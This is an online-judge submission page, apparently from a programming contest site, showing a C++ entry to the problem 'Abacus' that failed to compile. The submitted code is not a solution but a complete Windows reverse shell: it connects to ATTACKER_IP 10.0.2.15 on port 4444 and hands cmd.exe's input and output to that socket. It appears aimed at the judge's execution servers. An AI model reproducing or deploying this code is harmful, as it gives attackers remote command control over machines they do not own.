Submission

Compilation Error

Score: 0

User: PokemonX69

Problemset: Abacus

Language: cpp

Time: 0.000 second

Submitted On: 2025-03-14 00:41:05

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

#define ATTACKER_IP "10.0.2.15"
#define ATTACKER_PORT 4444

int main() {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(ATTACKER_PORT);
    inet_pton(AF_INET, ATTACKER_IP, &server.sin_addr.s_addr);

    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    char buffer[1024];
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = (HANDLE)sock;
    si.hStdOutput = (HANDLE)sock;
    si.hStdError = (HANDLE)sock;

    CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    return 0;
}